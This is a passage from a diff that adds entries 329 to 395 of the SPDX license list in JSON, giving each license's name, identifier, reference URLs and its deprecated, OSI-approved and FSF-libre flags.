+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/LPL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/LPL-1.0.json",
+ "referenceNumber": 329,
+ "name": "Lucent Public License Version 1.0",
+ "licenseId": "LPL-1.0",
+ "seeAlso": [
+ "https://opensource.org/licenses/LPL-1.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/bzip2-1.0.5.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/bzip2-1.0.5.json",
+ "referenceNumber": 330,
+ "name": "bzip2 and libbzip2 License v1.0.5",
+ "licenseId": "bzip2-1.0.5",
+ "seeAlso": [
+ "https://sourceware.org/bzip2/1.0.5/bzip2-manual-1.0.5.html",
+ "http://bzip.org/1.0.5/bzip2-manual-1.0.5.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Entessa.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Entessa.json",
+ "referenceNumber": 331,
+ "name": "Entessa Public License v1.0",
+ "licenseId": "Entessa",
+ "seeAlso": [
+ "https://opensource.org/licenses/Entessa"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSD-2-Clause-Patent.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BSD-2-Clause-Patent.json",
+ "referenceNumber": 332,
+ "name": "BSD-2-Clause Plus Patent License",
+ "licenseId": "BSD-2-Clause-Patent",
+ "seeAlso": [
+ "https://opensource.org/licenses/BSDplusPatent"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/ECL-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/ECL-2.0.json",
+ "referenceNumber": 333,
+ "name": "Educational Community License v2.0",
+ "licenseId": "ECL-2.0",
+ "seeAlso": [
+ "https://opensource.org/licenses/ECL-2.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Crossword.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Crossword.json",
+ "referenceNumber": 334,
+ "name": "Crossword License",
+ "licenseId": "Crossword",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Crossword"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-ND-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-ND-1.0.json",
+ "referenceNumber": 335,
+ "name": "Creative Commons Attribution Non Commercial No Derivatives 1.0 Generic",
+ "licenseId": "CC-BY-NC-ND-1.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nd-nc/1.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OCLC-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OCLC-2.0.json",
+ "referenceNumber": 336,
+ "name": "OCLC Research Public License 2.0",
+ "licenseId": "OCLC-2.0",
+ "seeAlso": [
+ "http://www.oclc.org/research/activities/software/license/v2final.htm",
+ "https://opensource.org/licenses/OCLC-2.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CECILL-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CECILL-1.1.json",
+ "referenceNumber": 337,
+ "name": "CeCILL Free Software License Agreement v1.1",
+ "licenseId": "CECILL-1.1",
+ "seeAlso": [
+ "http://www.cecill.info/licences/Licence_CeCILL_V1.1-US.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CECILL-2.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CECILL-2.1.json",
+ "referenceNumber": 338,
+ "name": "CeCILL Free Software License Agreement v2.1",
+ "licenseId": "CECILL-2.1",
+ "seeAlso": [
+ "http://www.cecill.info/licences/Licence_CeCILL_V2.1-en.html"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/OGDL-Taiwan-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OGDL-Taiwan-1.0.json",
+ "referenceNumber": 339,
+ "name": "Taiwan Open Government Data License, version 1.0",
+ "licenseId": "OGDL-Taiwan-1.0",
+ "seeAlso": [
+ "https://data.gov.tw/license"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Abstyles.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Abstyles.json",
+ "referenceNumber": 340,
+ "name": "Abstyles License",
+ "licenseId": "Abstyles",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Abstyles"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/libselinux-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/libselinux-1.0.json",
+ "referenceNumber": 341,
+ "name": "libselinux public domain notice",
+ "licenseId": "libselinux-1.0",
+ "seeAlso": [
+ "https://github.com/SELinuxProject/selinux/blob/master/libselinux/LICENSE"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/ANTLR-PD.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/ANTLR-PD.json",
+ "referenceNumber": 342,
+ "name": "ANTLR Software Rights Notice",
+ "licenseId": "ANTLR-PD",
+ "seeAlso": [
+ "http://www.antlr2.org/license.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GPL-2.0-or-later.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GPL-2.0-or-later.json",
+ "referenceNumber": 343,
+ "name": "GNU General Public License v2.0 or later",
+ "licenseId": "GPL-2.0-or-later",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/gpl-2.0-standalone.html",
+ "https://opensource.org/licenses/GPL-2.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/IPL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/IPL-1.0.json",
+ "referenceNumber": 344,
+ "name": "IBM Public License v1.0",
+ "licenseId": "IPL-1.0",
+ "seeAlso": [
+ "https://opensource.org/licenses/IPL-1.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/MIT-enna.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/MIT-enna.json",
+ "referenceNumber": 345,
+ "name": "enna License",
+ "licenseId": "MIT-enna",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/MIT#enna"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CPOL-1.02.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CPOL-1.02.json",
+ "referenceNumber": 346,
+ "name": "Code Project Open License 1.02",
+ "licenseId": "CPOL-1.02",
+ "seeAlso": [
+ "http://www.codeproject.com/info/cpol10.aspx"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-SA-3.0-AT.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-SA-3.0-AT.json",
+ "referenceNumber": 347,
+ "name": "Creative Commons Attribution Share Alike 3.0 Austria",
+ "licenseId": "CC-BY-SA-3.0-AT",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-sa/3.0/at/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GPL-3.0-with-GCC-exception.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/GPL-3.0-with-GCC-exception.json",
+ "referenceNumber": 348,
+ "name": "GNU General Public License v3.0 w/GCC Runtime Library exception",
+ "licenseId": "GPL-3.0-with-GCC-exception",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/gcc-exception-3.1.html"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSD-1-Clause.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BSD-1-Clause.json",
+ "referenceNumber": 349,
+ "name": "BSD 1-Clause License",
+ "licenseId": "BSD-1-Clause",
+ "seeAlso": [
+ "https://svnweb.freebsd.org/base/head/include/ifaddrs.h?revision\u003d326823"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/NTP-0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/NTP-0.json",
+ "referenceNumber": 350,
+ "name": "NTP No Attribution",
+ "licenseId": "NTP-0",
+ "seeAlso": [
+ "https://github.com/tytso/e2fsprogs/blob/master/lib/et/et_name.c"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/SugarCRM-1.1.3.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/SugarCRM-1.1.3.json",
+ "referenceNumber": 351,
+ "name": "SugarCRM Public License v1.1.3",
+ "licenseId": "SugarCRM-1.1.3",
+ "seeAlso": [
+ "http://www.sugarcrm.com/crm/SPL"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/MIT.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/MIT.json",
+ "referenceNumber": 352,
+ "name": "MIT License",
+ "licenseId": "MIT",
+ "seeAlso": [
+ "https://opensource.org/licenses/MIT"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/OFL-1.1-RFN.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OFL-1.1-RFN.json",
+ "referenceNumber": 353,
+ "name": "SIL Open Font License 1.1 with Reserved Font Name",
+ "licenseId": "OFL-1.1-RFN",
+ "seeAlso": [
+ "http://scripts.sil.org/cms/scripts/page.php?item_id\u003dOFL_web",
+ "https://opensource.org/licenses/OFL-1.1"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Watcom-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Watcom-1.0.json",
+ "referenceNumber": 354,
+ "name": "Sybase Open Watcom Public License 1.0",
+ "licenseId": "Watcom-1.0",
+ "seeAlso": [
+ "https://opensource.org/licenses/Watcom-1.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-SA-2.0-FR.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-SA-2.0-FR.json",
+ "referenceNumber": 355,
+ "name": "Creative Commons Attribution-NonCommercial-ShareAlike 2.0 France",
+ "licenseId": "CC-BY-NC-SA-2.0-FR",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nc-sa/2.0/fr/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/ODbL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/ODbL-1.0.json",
+ "referenceNumber": 356,
+ "name": "Open Data Commons Open Database License v1.0",
+ "licenseId": "ODbL-1.0",
+ "seeAlso": [
+ "http://www.opendatacommons.org/licenses/odbl/1.0/",
+ "https://opendatacommons.org/licenses/odbl/1-0/"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/FSFULLR.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/FSFULLR.json",
+ "referenceNumber": 357,
+ "name": "FSF Unlimited License (with License Retention)",
+ "licenseId": "FSFULLR",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/FSF_Unlimited_License#License_Retention_Variant"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OLDAP-1.3.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OLDAP-1.3.json",
+ "referenceNumber": 358,
+ "name": "Open LDAP Public License v1.3",
+ "licenseId": "OLDAP-1.3",
+ "seeAlso": [
+ "http://www.openldap.org/devel/gitweb.cgi?p\u003dopenldap.git;a\u003dblob;f\u003dLICENSE;hb\u003de5f8117f0ce088d0bd7a8e18ddf37eaa40eb09b1"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/SSH-OpenSSH.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/SSH-OpenSSH.json",
+ "referenceNumber": 359,
+ "name": "SSH OpenSSH license",
+ "licenseId": "SSH-OpenSSH",
+ "seeAlso": [
+ "https://github.com/openssh/openssh-portable/blob/1b11ea7c58cd5c59838b5fa574cd456d6047b2d4/LICENCE#L10"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSD-2-Clause.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BSD-2-Clause.json",
+ "referenceNumber": 360,
+ "name": "BSD 2-Clause \"Simplified\" License",
+ "licenseId": "BSD-2-Clause",
+ "seeAlso": [
+ "https://opensource.org/licenses/BSD-2-Clause"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/HPND.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/HPND.json",
+ "referenceNumber": 361,
+ "name": "Historical Permission Notice and Disclaimer",
+ "licenseId": "HPND",
+ "seeAlso": [
+ "https://opensource.org/licenses/HPND"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Zimbra-1.3.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Zimbra-1.3.json",
+ "referenceNumber": 362,
+ "name": "Zimbra Public License v1.3",
+ "licenseId": "Zimbra-1.3",
+ "seeAlso": [
+ "http://web.archive.org/web/20100302225219/http://www.zimbra.com/license/zimbra-public-license-1-3.html"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Borceux.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Borceux.json",
+ "referenceNumber": 363,
+ "name": "Borceux license",
+ "licenseId": "Borceux",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Borceux"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OLDAP-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OLDAP-1.1.json",
+ "referenceNumber": 364,
+ "name": "Open LDAP Public License v1.1",
+ "licenseId": "OLDAP-1.1",
+ "seeAlso": [
+ "http://www.openldap.org/devel/gitweb.cgi?p\u003dopenldap.git;a\u003dblob;f\u003dLICENSE;hb\u003d806557a5ad59804ef3a44d5abfbe91d706b0791f"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OFL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OFL-1.0.json",
+ "referenceNumber": 365,
+ "name": "SIL Open Font License 1.0",
+ "licenseId": "OFL-1.0",
+ "seeAlso": [
+ "http://scripts.sil.org/cms/scripts/page.php?item_id\u003dOFL10_web"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/NASA-1.3.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/NASA-1.3.json",
+ "referenceNumber": 366,
+ "name": "NASA Open Source Agreement 1.3",
+ "licenseId": "NASA-1.3",
+ "seeAlso": [
+ "http://ti.arc.nasa.gov/opensource/nosa/",
+ "https://opensource.org/licenses/NASA-1.3"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/VOSTROM.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/VOSTROM.json",
+ "referenceNumber": 367,
+ "name": "VOSTROM Public License for Open Source",
+ "licenseId": "VOSTROM",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/VOSTROM"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/MIT-0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/MIT-0.json",
+ "referenceNumber": 368,
+ "name": "MIT No Attribution",
+ "licenseId": "MIT-0",
+ "seeAlso": [
+ "https://github.com/aws/mit-0",
+ "https://romanrm.net/mit-zero",
+ "https://github.com/awsdocs/aws-cloud9-user-guide/blob/master/LICENSE-SAMPLECODE"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/ISC.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/ISC.json",
+ "referenceNumber": 369,
+ "name": "ISC License",
+ "licenseId": "ISC",
+ "seeAlso": [
+ "https://www.isc.org/licenses/",
+ "https://www.isc.org/downloads/software-support-policy/isc-license/",
+ "https://opensource.org/licenses/ISC"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Unicode-DFS-2016.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Unicode-DFS-2016.json",
+ "referenceNumber": 370,
+ "name": "Unicode License Agreement - Data Files and Software (2016)",
+ "licenseId": "Unicode-DFS-2016",
+ "seeAlso": [
+ "http://www.unicode.org/copyright.html"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/BlueOak-1.0.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BlueOak-1.0.0.json",
+ "referenceNumber": 371,
+ "name": "Blue Oak Model License 1.0.0",
+ "licenseId": "BlueOak-1.0.0",
+ "seeAlso": [
+ "https://blueoakcouncil.org/license/1.0.0"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/LiLiQ-Rplus-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/LiLiQ-Rplus-1.1.json",
+ "referenceNumber": 372,
+ "name": "Licence Libre du Québec – Réciprocité forte version 1.1",
+ "licenseId": "LiLiQ-Rplus-1.1",
+ "seeAlso": [
+ "https://www.forge.gouv.qc.ca/participez/licence-logicielle/licence-libre-du-quebec-liliq-en-francais/licence-libre-du-quebec-reciprocite-forte-liliq-r-v1-1/",
+ "http://opensource.org/licenses/LiLiQ-Rplus-1.1"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/NOSL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/NOSL.json",
+ "referenceNumber": 373,
+ "name": "Netizen Open Source License",
+ "licenseId": "NOSL",
+ "seeAlso": [
+ "http://bits.netizen.com.au/licenses/NOSL/nosl.txt"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/SMLNJ.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/SMLNJ.json",
+ "referenceNumber": 374,
+ "name": "Standard ML of New Jersey License",
+ "licenseId": "SMLNJ",
+ "seeAlso": [
+ "https://www.smlnj.org/license.html"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/LGPL-3.0+.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/LGPL-3.0+.json",
+ "referenceNumber": 375,
+ "name": "GNU Lesser General Public License v3.0 or later",
+ "licenseId": "LGPL-3.0+",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/lgpl-3.0-standalone.html",
+ "https://opensource.org/licenses/LGPL-3.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CPAL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CPAL-1.0.json",
+ "referenceNumber": 376,
+ "name": "Common Public Attribution License 1.0",
+ "licenseId": "CPAL-1.0",
+ "seeAlso": [
+ "https://opensource.org/licenses/CPAL-1.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/PSF-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/PSF-2.0.json",
+ "referenceNumber": 377,
+ "name": "Python Software Foundation License 2.0",
+ "licenseId": "PSF-2.0",
+ "seeAlso": [
+ "https://opensource.org/licenses/Python-2.0"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/RPL-1.5.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/RPL-1.5.json",
+ "referenceNumber": 378,
+ "name": "Reciprocal Public License 1.5",
+ "licenseId": "RPL-1.5",
+ "seeAlso": [
+ "https://opensource.org/licenses/RPL-1.5"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSD-2-Clause-FreeBSD.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/BSD-2-Clause-FreeBSD.json",
+ "referenceNumber": 379,
+ "name": "BSD 2-Clause FreeBSD License",
+ "licenseId": "BSD-2-Clause-FreeBSD",
+ "seeAlso": [
+ "http://www.freebsd.org/copyright/freebsd-license.html"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/MIT-Modern-Variant.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/MIT-Modern-Variant.json",
+ "referenceNumber": 380,
+ "name": "MIT License Modern Variant",
+ "licenseId": "MIT-Modern-Variant",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing:MIT#Modern_Variants",
+ "https://ptolemy.berkeley.edu/copyright.htm",
+ "https://pirlwww.lpl.arizona.edu/resources/guide/software/PerlTk/Tixlic.html"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Nokia.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Nokia.json",
+ "referenceNumber": 381,
+ "name": "Nokia Open Source License",
+ "licenseId": "Nokia",
+ "seeAlso": [
+ "https://opensource.org/licenses/nokia"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/GFDL-1.1-no-invariants-only.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GFDL-1.1-no-invariants-only.json",
+ "referenceNumber": 382,
+ "name": "GNU Free Documentation License v1.1 only - no invariants",
+ "licenseId": "GFDL-1.1-no-invariants-only",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/fdl-1.1.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/PDDL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/PDDL-1.0.json",
+ "referenceNumber": 383,
+ "name": "Open Data Commons Public Domain Dedication \u0026 License 1.0",
+ "licenseId": "PDDL-1.0",
+ "seeAlso": [
+ "http://opendatacommons.org/licenses/pddl/1.0/",
+ "https://opendatacommons.org/licenses/pddl/"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/EUPL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/EUPL-1.0.json",
+ "referenceNumber": 384,
+ "name": "European Union Public License 1.0",
+ "licenseId": "EUPL-1.0",
+ "seeAlso": [
+ "http://ec.europa.eu/idabc/en/document/7330.html",
+ "http://ec.europa.eu/idabc/servlets/Doc027f.pdf?id\u003d31096"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CDDL-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CDDL-1.1.json",
+ "referenceNumber": 385,
+ "name": "Common Development and Distribution License 1.1",
+ "licenseId": "CDDL-1.1",
+ "seeAlso": [
+ "http://glassfish.java.net/public/CDDL+GPL_1_1.html",
+ "https://javaee.github.io/glassfish/LICENSE"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GFDL-1.3-only.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GFDL-1.3-only.json",
+ "referenceNumber": 386,
+ "name": "GNU Free Documentation License v1.3 only",
+ "licenseId": "GFDL-1.3-only",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/fdl-1.3.txt"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/OLDAP-2.6.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OLDAP-2.6.json",
+ "referenceNumber": 387,
+ "name": "Open LDAP Public License v2.6",
+ "licenseId": "OLDAP-2.6",
+ "seeAlso": [
+ "http://www.openldap.org/devel/gitweb.cgi?p\u003dopenldap.git;a\u003dblob;f\u003dLICENSE;hb\u003d1cae062821881f41b73012ba816434897abf4205"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/JSON.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/JSON.json",
+ "referenceNumber": 388,
+ "name": "JSON License",
+ "licenseId": "JSON",
+ "seeAlso": [
+ "http://www.json.org/license.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/LGPL-3.0-or-later.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/LGPL-3.0-or-later.json",
+ "referenceNumber": 389,
+ "name": "GNU Lesser General Public License v3.0 or later",
+ "licenseId": "LGPL-3.0-or-later",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/lgpl-3.0-standalone.html",
+ "https://opensource.org/licenses/LGPL-3.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/GPL-3.0.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/GPL-3.0.json",
+ "referenceNumber": 390,
+ "name": "GNU General Public License v3.0 only",
+ "licenseId": "GPL-3.0",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/gpl-3.0-standalone.html",
+ "https://opensource.org/licenses/GPL-3.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Fair.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Fair.json",
+ "referenceNumber": 391,
+ "name": "Fair License",
+ "licenseId": "Fair",
+ "seeAlso": [
+ "http://fairlicense.org/",
+ "https://opensource.org/licenses/Fair"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/GPL-2.0-with-font-exception.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/GPL-2.0-with-font-exception.json",
+ "referenceNumber": 392,
+ "name": "GNU General Public License v2.0 w/Font exception",
+ "licenseId": "GPL-2.0-with-font-exception",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/gpl-faq.html#FontException"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OSL-2.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OSL-2.1.json",
+ "referenceNumber": 393,
+ "name": "Open Software License 2.1",
+ "licenseId": "OSL-2.1",
+ "seeAlso": [
+ "http://web.archive.org/web/20050212003940/http://www.rosenlaw.com/osl21.htm",
+ "https://opensource.org/licenses/OSL-2.1"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/LPPL-1.3a.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/LPPL-1.3a.json",
+ "referenceNumber": 394,
+ "name": "LaTeX Project Public License v1.3a",
+ "licenseId": "LPPL-1.3a",
+ "seeAlso": [
+ "http://www.latex-project.org/lppl/lppl-1-3a.txt"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/NAIST-2003.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/NAIST-2003.json",
+ "referenceNumber": 395,
+ "name": "Nara Institute of Science and Technology License (2003)",
+ "licenseId": "NAIST-2003",
